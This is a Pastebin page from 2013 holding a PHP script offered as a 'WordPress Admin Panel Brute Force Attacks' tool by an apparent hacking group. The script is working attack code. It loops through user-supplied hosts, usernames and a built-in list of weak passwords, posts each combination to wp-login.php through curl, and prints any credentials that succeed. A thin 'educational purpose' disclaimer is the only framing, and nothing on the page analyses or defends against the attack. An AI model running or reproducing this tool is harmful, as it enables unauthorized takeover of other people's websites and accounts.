Dr_FarFar

[+] WordPress Admin Panel Brute Force Attacks

Jul 1st, 2013
666
0
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.02 KB | None | 0 0
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://Dr-FarFar.BlogSpot.com/
  19.  
  20. */
  21.  
  22. ########################################################################################################################
  23.  
  24. <?php
  25. echo "
  26. <!--
  27. WordPress Admin Panel Brute Force Attacks | Egyptian Shell Team Penetration Testing
  28. Powered By Dr.FarFar
  29. PS: This Tool is For Penetration Testing And Educational Purpose, Dr.FarFar Is Not Responsible At Any Bad Using For This Tool.
  30.  
  31. This program is free software: you can redistribute it and/or modify
  32. it under the terms of the GNU General Public License as published by
  33. the Free Software Foundation, either version 3 of the License, or
  34. (at your option) any later version.
  35. -->
  36. ";
  37.  
  38. error_reporting(0);
  39. set_time_limit(0);
  40. ignore_user_abort(true);
  41. ?>
  42. <html>
  43. <head>
  44. <title> | </title>
  45.  
  46. <HEAD>
  47.  
  48. <SCRIPT LANGUAGE="JavaScript">
  49.  
  50. <!-- Begin
  51. var message = new Array();
  52. // Set your messages below -- follow the pattern.
  53. // To add more messages, just add more elements to the array.
  54. message[0] = "WordPress Admin Panel Brute Force Attacks";
  55. message[1] = "Powered By Dr.FarFar";
  56. message[2] = "Egyptian Shell Team Penetration Testing";
  57. message[3] = "Egyptian Shell Team";
  58. message[4] = "Powered By Dr.FarFar";
  59. message[5] = "Egyptian Shell Team Penetration Testing";
  60. message[6] = "Powered By Dr.FarFar";
  61.  
  62. // Set the number of repetitions (how many times the arrow
  63. // cycle repeats with each message).
  64. var reps = 2;
  65. var speed = 200;  // Set the overall speed (larger number = slower action).
  66.  
  67. // DO NOT EDIT BELOW THIS LINE.
  68. var p = message.length;
  69. var T = "";
  70. var C = 0;
  71. var mC = 0;
  72. var s = 0;
  73. var sT = null;
  74. if (reps < 1) reps = 1;
  75. function doTheThing() {
  76. T = message[mC];
  77. A();
  78. }
  79. function A() {
  80. s++;
  81. if (s > 8) { s = 1;}
  82. // you can fiddle with the patterns here...
  83. if (s == 1) { document.title = '||||||====||[ '+T+' ]||====||||||'; }
  84. if (s == 2) { document.title = '|||=|||===||[ '+T+' ]||===|||=|||'; }
  85. if (s == 3) { document.title = '|||==|||==||[ '+T+' ]||==|||==|||'; }
  86. if (s == 4) { document.title = '|||===|||=||[ '+T+' ]||=|||===|||'; }
  87. if (s == 5) { document.title = '|||====|||||[ '+T+' ]|||||====|||'; }
  88. if (s == 6) { document.title = '|||===|||=||[ '+T+' ]||=|||===|||'; }
  89. if (s == 7) { document.title = '|||==|||==||[ '+T+' ]||==|||==|||'; }
  90. if (s == 8) { document.title = '|||=|||===||[ '+T+' ]||===|||=|||'; }
  91. if (C < (8 * reps)) {
  92. sT = setTimeout("A()", speed);
  93. C++;
  94. }
  95. else {
  96. C = 0;
  97. s = 0;
  98. mC++;
  99. if(mC > p - 1) mC = 0;
  100. sT = null;
  101. doTheThing();
  102.    }
  103. }
  104. doTheThing();
  105. //  End -->
  106. </script>
  107.  
  108. <meta http-equiv=Content-Type content=text/html; charset=utf-8 charset=UTF-8>
  109.  
  110. <style type="text/css">
  111. body {
  112.     color: white;
  113.     background-image: url(http://i283.photobucket.com/albums/kk281/fjachel/Black-background.gif);
  114. }
  115. textarea {
  116.     border-radius: 8px;
  117.     color: white;
  118.     background-color:black;
  119. }
  120. input[type=submit] , .submit{
  121.         background-color:black;
  122.         color:white;
  123.         border-radius:8px;
  124. }
  125. p {
  126.     font-size: 10px;
  127.     text-align: center;
  128. }
  129. a:link,a:hover,a:visited {
  130.     color:pink;
  131. }
  132. </style>
  133. </head>
  134. <!-- Dr.FarFar | WordPress Admin Panel Brute Force Attacks | Egyptian Shell Team Penetration Testing -->
  135. <center>
  136. <p><a href="http://9eg.blogspot.com" target="_blank"><img
  137.  
  138. src="http://im37.gulfup.com/VLNdW.png"
  139.  
  140. border="0"/></a></p>
  141. <form enctype="multipart/form-data" method="POST">
  142.   <table width='624' border='0' id='Box'>
  143.     <tr>
  144. <td width='4%'>&nbsp;</td>
  145. <p><span style="color:#FFFF00;"><span style="font-size:28px;"><strong>WordPress Admin Panel</strong> <strong style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; line-height: inherit; font-family: inherit;">Brute Force Attacks</strong></span></span></p>
  146.     <tr>
  147.       <td >&nbsp;</td>
  148.       <td ><b><p>Hosts:</p></b></td>
  149.       <td ><b><p> Users:</p></b></td>
  150.       <td ><b><p>Passwords:</p></b></td>
  151.     </tr>
  152.     <tr>
  153.       <td>&nbsp;</td>
  154.       <td ><textarea name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
  155.       <td ><textarea name="usernames" cols="30" rows="10"  ><?php if($_POST){echo $_POST['usernames'];}else {echo
  156.  
  157. "admin\nadministrator";} ?></textarea></td>
  158.       <td ><textarea name="passwords" cols="30" rows="10"  ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?></textarea></td>
  159.     </tr>
  160. <tr><td colspan="4"><input type="submit" name="submit" value="[ Attack Now ]"  />
  161. <?php
  162. if($_POST)
  163. {
  164.     $hosts = trim(filter($_POST['hosts']));
  165.     $passwords = trim(filter($_POST['passwords']));
  166.     $usernames = trim(filter($_POST['usernames']));
  167.  
  168.     if($passwords && $usernames && $hosts)
  169.     {
  170.         $hosts_explode = explode("\n", $hosts);
  171.         $usernames_explode = explode("\n", $usernames);
  172.         $passwords_explode = explode("\n", $passwords);
  173.  
  174.         foreach($hosts_explode as $host)
  175.         {
  176.             $host = RemoveLastSlash($host);
  177.             $hacked = 0;
  178.             $host = str_replace(array("http://","https://","www."),"",trim($host));
  179.             $host = "http://".$host;
  180.             $wpAdmin = $host.'/wp-admin/';
  181.  
  182.             if(!url_exists($host."/wp-login.php"))
  183.             {echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush
  184.  
  185. ();continue;}
  186.  
  187.             foreach($usernames_explode as $username)
  188.             {
  189.                 foreach($passwords_explode as $password)
  190.                 {
  191.                     $ch   =     curl_init();
  192.                     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  193.                     curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
  194.                     curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
  195.                     curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
  196.                     curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  197.                     curl_setopt($ch,CURLOPT_POST,TRUE);
  198.                     curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".
  199.  
  200. $password."&wp-submit=Giri?"."&redirect_to=".$wpAdmin."&testcookie=1");
  201.                     $login    =    curl_exec($ch);
  202.  
  203.                     if(eregi ("profile.php",$login) )
  204.                     {
  205.                         $hacked = 1;
  206.                         echo "<p>".$host." => UserName : [<font color='green'>".
  207.  
  208. $username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
  209.                         ob_flush();flush();break;
  210.                     }
  211.                 }
  212.                 if($hacked == 1){break;}
  213.             }
  214.             if($hacked == 0)
  215.             {echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
  216.         }
  217.     }
  218.     else {echo "<p><b><font color='red'>All fields are Required ! </font></b></p>";}
  219. }
  220. ?>
  221. </td></tr>
  222. </table></form>
  223.  
  224. <!-- Dr.FarFar | WordPress Admin Panel Brute Force Attacks | Egyptian Shell Team Penetration Testing -->
  225. <p><strong>Powered By <a href="http://9eg.blogspot.com">Dr.FarFar</a></strong></p>
  226.  
  227. </center>
  228. <p>
  229.   <?php
  230. function url_exists($strURL)
  231. {
  232.     $resURL = curl_init();
  233.     curl_setopt($resURL, CURLOPT_URL, $strURL);
  234.     curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
  235.     curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
  236.     curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
  237.     curl_exec ($resURL);
  238.     $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
  239.     curl_close ($resURL);
  240.     if ($intReturnCode != 200){return false;}
  241.     else{return true ;}
  242. }
  243. function filter($string)
  244. {
  245.     if(get_magic_quotes_gpc() != 0){return stripslashes($string);   }
  246.     else{return $string;    }
  247. }
  248. function RemoveLastSlash($host)
  249. {
  250.     if(strrpos($host, '/', -1) == strlen($host)-1)
  251.     {return substr($host,0,strrpos($host, '/', -1));}
  252.     else{return $host;}
  253. }
  254. ?>
  255. <?php  echo "</p>"; ?>
  256.  
  257. ########################################################################################################################
  258.  
  259.         https://www.facebook.com/Dr.FarFar
  260.         http://Dr-FarFar.BlogSpot.com/
  261.  
  262.         ________         __________                __________                
  263.         ___  __ \___________  ____/______ ____________  ____/______ _________
  264.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  265.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  266.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  267.                                                                              
  268.                              ~\ Dr.FarFar /~
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment